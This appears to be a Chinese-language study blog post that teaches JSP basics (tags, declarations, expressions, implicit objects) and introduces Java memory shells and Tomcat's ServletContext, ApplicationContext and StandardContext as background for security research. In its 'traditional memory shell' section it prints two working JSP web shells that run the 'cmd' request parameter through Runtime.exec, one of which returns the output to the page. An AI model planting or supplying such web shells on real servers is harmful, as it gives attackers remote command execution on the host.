前言

今天是内存马和jsp的基础知识

JSP基础

什么是JSP

JSP全称Java Server Pages,是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。标签通常以<%开头以%>结束。

JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP标签有多种功能,比如访问数据库、记录用户选择信息、访问JavaBeans组件等,还可以在不同的网页中传递控制信息和共享信息。

JSP环境

我直接用上次测试Servlet用的就可以了。
具体的搭建方法:
image.png
应该是这么选,然后在编辑配置里加个tomcat,在配置好工件,这样就可以了
image.png
从这个目录结构中可以看到,java(自己创建的)文件夹可以存放我们的Servlet和Filter,webapp下存放的是index.jsp
注意点:
image.png
这一块要加上tomcat,否则接下来用println的时候回出现无法解析的问题

JSP的语法

JSP的代码结构:

1
<% 代码片段 %>

具体的例子是这样的

1
2
3
4
5
6
<html>  
<body>
<h2>Hello World!</h2>
<% out.println("hshybb"); %>
</body>
</html>

image.png

JSP声明

声明使用:

1
<%! 声明 %>

等价于的XML语句

1
2
3
<jsp:declaration>   
代码片段
</jsp:declaration>

实例

1
2
3
4
5
6
7
8
9
10
<html>  
<body>
<h2>Hello World!</h2>
<%! String s = "hshybb"; %>
<%
out.println(s);
out.println(s);
%>
</body>
</html>

image.png
直接在脚本里也可以声明

1
2
3
4
5
6
7
8
9
10
<html>  
<body>
<h2>Hello World!</h2>
<%! String s = "hshybb"; %>
<%
String q = "1234";
out.println(q); out.println(s);
%>
</body>
</html>

JSP表达式

结构:

1
<%= %>

xml形式:

1
<jsp:expression>   表达式</jsp:expression>

实列

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>  
<body>
<h2>Hello World!</h2>
<%! String s = "hshybb"; %>
<%
String q = "1234";
out.println(q); out.println(s);
%>

<p><%
String a = "hshybb";
%>username:<%=a%></p>
</body>
</html>

image.png

JSP注释

1
<%-- 注释内容 --%>

JSP指令

jsp的三种指令
image.png

JSP隐式对象

JSP隐式对象是JSP容器为每个页面提供的Java对象,开发者可以直接使用它们而不用显式声明。JSP隐式对象也被称为预定义变量。

JSP所支持的九大隐式对象:
image.png

  1. request对象:获取HTTp头信息
  2. response对象:提供客户端响应
  3. out对象:输出内容到HTML中
  4. session对象:用来保存用户信息
  5. application对象:所有用户共享信息
  6. config对象:Servlet配置对象,用于Servlet和页面的初始化参数
  7. pageContext对象:JSP的页面容器,用于访问page、request、application和session的属性
  8. page对象:类似于java类的this关键字,表示当前JSP页面
  9. exception对象:该对象用于处理JSP文件执行时发生的错误和异常;只有在JSP页面的page指令中指定isErrorPage的取值true时,才可以在本页面使用exception对象。

传统内存马

接下来开始内存马的学习,先来看一下传统的内存马是什么样子的

1
2
3
<%  
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

image.png
但是这个内存马是没有回显的,这里在提供一个有回显的内存马

1
2
3
4
5
6
7
8
9
10
11
12
<%  
if(request.getParameter("cmd")!=null){
//获取命令执行后输出的数据流
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
//创建一个容器(相当于一个桶来接流)
int c = -1;
byte[] b = new byte[2048];
//只要还有流就不断循环输出string
while((c = in.read(b))!=-1){
out.println(new String(b));
}
}%>

image.png

Tomcat的三种context

context

首先来介绍一下,什么是context?context的翻译就是上下文的意思,可以看一下Drunkbaby大佬的博客里讲的一个例子,这样方便我们理解。
作用:在一次web请求的过程中,context会记录当前的情形,比如会记录有什么servlet,有几个Filter,有什么listener,请求的路径,请求的参数等等。

ServletContext

ServletContext是Servlet规范中规定的ServletContext接口,一般Servlet都要实现这个接口。
主要的功能:

  1. 共享数据
  2. 允许访问资源文件
  3. 获取初始化参数
  4. 设置全局上下文属性
  5. 获取web应用程序信息
  6. 获取文件路径
  7. 获取资源路径

ApplicationContext

在Tomcat,ApplicationContext实现了ServletContext规范定义的一些方法,例如addServlet,addFilter等

StandardContext

讲这个Context,我们直接先把师傅的图放这里(从总的角度说一下,应该就理解了)
image.png

实际上对资源的各种操作是调用了StandardContext中的方法。

总的说一下:ServletContext的实现类是ApplicationContextFacade类(也就是ApplicationContext的门面类,有它才能进行ApplicationContext里的操作)。在ApplicationContext中,我们对context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,和我们上面说的一样,StandardContext是Tomcat中负责与底层交互的Context。

参考

Java内存马系列-02-内存马介绍 | Drunkbaby’s Blog